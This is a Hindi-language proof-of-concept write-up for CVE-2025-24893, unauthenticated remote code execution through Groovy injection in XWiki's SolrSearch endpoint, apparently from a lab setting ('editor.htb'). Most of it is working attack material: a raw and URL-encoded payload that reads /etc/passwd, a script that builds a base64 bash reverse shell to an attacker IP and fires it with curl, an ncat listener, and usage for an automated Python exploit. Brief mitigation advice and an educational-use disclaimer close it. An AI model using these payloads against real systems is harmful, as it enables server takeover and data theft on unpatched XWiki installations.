CVE-2025-24893 – XWiki में अप्रमाणित रिमोट कोड निष्पादन

0 विषयसूची

1. सारांश
2. कमज़ोरी विवरण
3. प्रभावित संस्करण
4. प्रूफ-ऑफ-कॉन्सेप्ट
   • 4.1 पेलोड बनाना
   • 4.2 मैन्युअल शोषण
   • 4.3 स्वचालित पायथन एक्सप्लॉइट
5. शमन
6. क्रेडिट और संदर्भ

1 सारांश

• CVE: 2025-24893
• घटक: SolrSearch मैक्रो (XWiki UI)
• गंभीरता: 9.8 / गंभीर (CVSS 3.1)
• आक्रमण वेक्टर: अप्रमाणित HTTP GET
• प्रभाव: मनमाना Groovy निष्पादन → सिस्टम-स्तरीय RCE (Jetty/Tomcat उपयोगकर्ता की अनुमतियाँ)

/xwiki/bin/get/Main/SolrSearch एंडपॉइंट अविश्वसनीय text= इनपुट को सीधे Freemarker टेम्पलेट में जोड़ता है।
टेम्पलेट को समय से पहले बंद करके और एक नया {{groovy}} … {{/groovy}} ब्लॉक खोलकर, एक हमलावर बिना प्रमाणीकरण के मनमाना Groovy कोड निष्पादित कर सकता है।

2 कमज़ोरी विवरण

GET /xwiki/bin/get/Main/SolrSearch?media=rss\&text=<<<USER-DATA>>>  HTTP/1.1

SolrSearch को आपूर्ति किए गए टेक्स्ट को सादे सामग्री के रूप में एम्बेड करना चाहिए, लेकिन मैक्रो हैंडलर }}}} को एस्केप करने में विफल रहता है, जिसके कारण निम्नलिखित होता है:

1. }}}} वर्तमान Freemarker ब्लॉक को बंद करता है।
2. हमलावर एक नया मैक्रो खोलता है:

   {{async async=false}}{{groovy}} … {{/groovy}}{{/async}}

• async=false सिंक्रोनस निष्पादन को बाध्य करता है (अतिथियों के लिए भी काम करता है)।

3. Groovy XWiki JVM प्रक्रिया की अनुमतियों के साथ चलता है।

/etc/passwd प्रिंट करने वाला न्यूनतम PoC:

}}}{{async async=false}}{{groovy}}println("cat /etc/passwd".execute().text){{/groovy}}{{/async}}

URL-एन्कोडेड वेरिएंट (स्पेस → %20, ब्रेसेस → %7B/%7D, आदि):

%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d

3 प्रभावित संस्करण

(स्रोत: OffSec सलाह और XWiki SEC-S 2025-02)

5 प्रूफ ऑफ कॉन्सेप्ट

5.1 पेलोड बनाना

RHOST="editor.htb:8080"
LHOST="10.10.14.8"
LPORT=4444

# 1.   one-liner reverse shell
SHELL="bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"

# 2.   Base64 (single line)
B64=$(echo -n "$SHELL" | base64 -w0)

# 3.   wrap in Groovy macro
RAW='}}}{{async async=false}}{{groovy}}"bash -c {echo,'$B64'}|{base64,-d}|{bash,-i}".execute(){{/groovy}}{{/async}}'

# 4.   URL-encode
PAYLOAD=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1],safe=''))" "$RAW")

5.2 मैन्युअल शोषण

# start listener
sudo ncat -lvnp 4444

# trigger exploit
curl "http://$RHOST/xwiki/bin/get/Main/SolrSearch?media=rss&text=${PAYLOAD}"

5.3 स्वचालित एक्सप्लॉइट

xwiki_solr_rce.py exploit/ में शामिल है (नीचे कोड ब्लॉक देखें)।

python CVE-2025-24893.py -u <TARGET URL> -l <IP> -p <PORT>

जहाँ

<TARGET URL> - http:// या https:// सहित URL

(शेल के बजाय कोई मनमाना कमांड चलाने के लिए -c "id" पास करें)

6 शमन

• अपग्रेड करें 15.10.11 / 14.10.17 या बाद के संस्करण में
• अस्थायी कार्य-समाधान: मैक्रो को अक्षम करें

# /etc/xwiki/xwiki.properties
solr.search.enabled = false

7 क्रेडिट और संदर्भ

• OffSec Research: “Unauth RCE in XWiki” – 20 फरवरी 2025
• NVD प्रविष्टि: https://nvd.nist.gov/vuln/detail/CVE-2025-24893
• Exploit-DB #52136

अनुसंधान और PoC: DeX1d

अस्वीकरण: केवल शैक्षिक उपयोग के लिए। इसे उन सिस्टमों के खिलाफ चलाना अवैध है जिनके आप मालिक नहीं हैं।